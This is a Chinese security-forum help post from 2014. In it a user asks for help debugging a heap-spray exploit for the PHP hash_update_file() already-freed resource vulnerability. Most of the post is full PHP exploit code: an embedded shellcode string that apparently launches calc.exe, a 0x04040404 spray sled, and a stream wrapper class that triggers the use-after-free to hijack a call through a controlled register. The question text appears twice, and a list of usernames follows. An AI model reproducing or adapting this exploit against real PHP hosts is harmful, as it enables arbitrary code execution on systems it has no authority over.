-
-
[求助]调试一个php 漏洞的疑惑
-
发表于: 2014-6-22 23:25 2581
-
漏洞的全名是PHP hash_update_file() Already Freed Resource Access Vulnerability
poc在
http://php-security.org/2010/05/01/mops-2010-001-php-hash_update_file-already-freed-resource-access-vulnerability/index.html 可以找到。
这个漏洞。我看了看poc 想用堆喷射的方法来利用
这个漏洞,我们可控edx , 通过 call [edx+4] 来劫持流程。我的想法是用跳转到04040404 这个地方来。[04040404+4] 又指向 04040404 , 然后 0404 转成汇编指令是 add al,4 . 一直执行到我的shellcode
这个思路,有错误么。真实执行的时候确跳出了下面个对话框。
。
(这里是堆溢出??怎么会。。。。)
我想问各位大神的是
这个漏洞有更好的利用方式么。我的思路错在哪儿???
poc在
http://php-security.org/2010/05/01/mops-2010-001-php-hash_update_file-already-freed-resource-access-vulnerability/index.html 可以找到。
这个漏洞。我看了看poc 想用堆喷射的方法来利用
<?php $chunk_size = 0x80000; $payload= "\x90\x90\x90\x90\x90\x90\x90\x90\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; $nopsled = "\x04\x04\x04\x04"; while(strlen($nopsled)<$chunk_size) { $nopsled.= $nopsled; } echo strlen($nopsled); $nopsled_len = $chunk_size - (strlen($payload) + 20); $nopsled = substr($nopsled,0, $nopsled_len); for ($i = 0 ; $i < 100 ; $i++) { $heap_chunk_0[$i] = $nopsled.$payload; } define("OFFSET", pack("L",0x04040404)); //这里控制edx class AttackStream { function stream_open($path, $mode, $options, &$opened_path) { return true; } function stream_read($count) { hash_final($GLOBALS['hid'], true); $GLOBALS['aaaaaaaaaaaaaaaaaaaaaa'] = str_repeat(OFFSET, 3); return "A"; } function stream_eof() { return true; } function stream_seek($offset, $whence) { return false; } } stream_wrapper_register("attack", "AttackStream") or die("Failed to register protocol"); $hid = hash_init('md5'); hash_update_file($hid, "attack://nothing"); ?>
这个漏洞,我们可控edx , 通过 call [edx+4] 来劫持流程。我的想法是用跳转到04040404 这个地方来。[04040404+4] 又指向 04040404 , 然后 0404 转成汇编指令是 add al,4 . 一直执行到我的shellcode
这个思路,有错误么。真实执行的时候确跳出了下面个对话框。
。
(这里是堆溢出??怎么会。。。。)
我想问各位大神的是
这个漏洞有更好的利用方式么。我的思路错在哪儿???
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
- [原创] 2218
- [讨论]没有PE格式的pe文件 5928
- [求助]调试一个php 漏洞的疑惑 2582
- [求助]漏洞分析和web渗透哪个前景好 35171
谁下载
天津小白
飘云
leochao
zrhai
夜凉如水
yifan
fob
wangkaicj
xavkm
thinkSJ
RuShi
爱上学习
lionben
bgtwoigu
jackyvan
hikaru
iawen
xxw
孤独的缘
lizhenhuan
jigerd
loqich
littlewisp
jtrlznb
xjj
riusksk
hnbluehat
三寸法师
fjhgx
baiyik
joli
cjdsaa
求学磊磊
dzgcxy
djzbxxz
findlakes
xcrypt
仙果
宇宙浪人
guobing
hyhqqq
disehlljjj
dancebaby
ydfivy
elianmeng
KooJiSung
wuaiwu
网络风尘
jk影
zfdyq
MTrickster
lamlam
天行客
yy大雄
uuwhat
哟哟哟哟
PeSafe
demoscene
jozxing
xiaoabing
leepupu
gtict
py小佛
阿尘
HOWMP
zhouws
Rtsjx
小百科
helljacker
linzhu
sealmoon
fesfes
Vsbat
lizhenzhe
daiviswang
chencibal
紫夜星纱
mardan
richhard
sushan
尘埃kr
friendanx
魔造师
西川
fanslinux
Henzox
光刃
泰国老大
向往星空
无限游侠
SupraL
btmanbtman
zbig
easonxu
llongwei
IDGHOST
whnet
伏特加
hualuore
看原图
赞赏
雪币:
留言: